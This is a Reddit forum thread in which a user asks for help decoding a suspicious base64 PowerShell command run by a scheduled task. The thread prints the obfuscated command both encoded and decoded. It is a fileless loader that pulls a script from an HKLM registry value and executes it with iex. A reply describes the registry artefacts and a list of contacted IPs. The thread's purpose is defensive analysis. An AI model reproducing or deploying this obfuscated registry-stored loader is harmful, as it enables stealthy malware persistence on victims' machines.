r/codebreaking • u/41ststbridge • Aug 01 '19
Windows powershell command
Found a task on a computer that ran this command with PowerShell:
JAB7AFIAYABFAGcAfQA9ACcASABLAEwATQAnADsAJAB7AHIARQBnAHAAYABBAGAAVABIAH0APQAnAFcAMQBWAFcARwBkAEEAZQBPAGEAJwA7ACQAewBSAEUARwBrAGAARQBgAHkATgBhAE0ARQB9AD0AJwBhAHcAVQBpAEwAWgBXAHcAVwA4ACcAOwAkAHsAcABBAHIAYABBAE0AfQA9ACcAXABNAGMAcgBrAHQAVQBaAHQAWQB5ACcAOwAkAHsAZgBgAFUAbABsAGAAUgBFAGcAfQA9ACQAewBSAGAAZQBnAH0AKwAnADoAJwArACgAKAAoACIAewA1AH0AewAyAH0AewAxAH0AewA0AH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAGUAewAwACcALAAnAHQAJwAsACcAUwBvAGYAJwAsACcAfQAnACwAJwB3AGEAcgAnACwAJwB7ADAAfQAnACkAKQAgAC0ARgAgAFsAYwBoAEEAcgBdADkAMgApACsAJAB7AFIAZQBgAGcAUABBAGAAVABIAH0AOwAkAHsAZQB4AGAAcABgAFIAZQBTAHMASQBvAG4AfQA9ACgALgAoACIAewAxAH0AewA0AH0AewAyAH0AewAzAH0AewAwAH0AIgAtAGYAIAAnAHIAdAB5ACcALAAnAEcAJwAsACcALQBJAHQAZQBtAFAAJwAsACcAcgBvAHAAZQAnACwAJwBlAHQAJwApACAAJAB7AEYAVQBMAEwAYABSAGAARQBnAH0AKQAuACQAewBQAGAAQQBSAGAAQQBNAH0AOwAmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAeAAnACwAJwBpAGUAJwApACgAJAB7AGUAeABgAHAAcgBFAFMAUwBgAGkATwBuAH0AKQA=
I ran it through a base64 converter, and got this:
${REg}='HKLM';${rEgpATH}='W1VWGdAeOa';${REGkEyNaME}='awUiLZWwW8';${pArAM}='\McrktUZtYy';${fUllREg}=${Reg}+':'+((("{5}{2}{1}{4}{0}{3}" -f'e{0','t','Sof','}','war','{0}')) -F [chAr]92)+${RegPATH};${expReSsIon}=(.("{1}{4}{2}{3}{0}"-f 'rty','G','-ItemP','rope','et') ${FULLREg}).${PARAM};&("{1}{0}"-f 'x','ie')(${exprESS`iOn})
I can sort of read parts of that, but not everything.
Can anyone help make this human readable?
Also, beware, this is possibly code installed by some sort of malware.
View all comments
Show parent comment
3
u/41ststbridge Aug 02 '19
I checked and there was indeed a registry key called "W1VWGdAeOa" located at HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node
Under it were 4 items. Imgur link.
\McrktUZtYy contains another PowerShell script. I removed the payload because it is several hundred lines long. The payload is encoded in base 64, but it's not standard base 64. Every translator I've tried has simply output a bunch of ? symbols.
The second and third items contain hex, which translated easily.
194956 contains a list of 62 IP addresses all pointing to port 443, and then "version":1562087229
2177774 calls or points to some javascript files.
awUiLZWwW8 contains 3134 lines of hex, which is mostly 0's, and doesn't translate to anything readable by a human..
I disabled the task that created these registry entries, and deleted them from the registry. I backed up the registry entries for dissection.
This malware survived Rkill, TDSSKiller, AdwCleaner, Malwarebytes Anti-Malware, and SFC. All of those tools are up to date.
The malware was installed without being flagged by McAfee (which I don't use).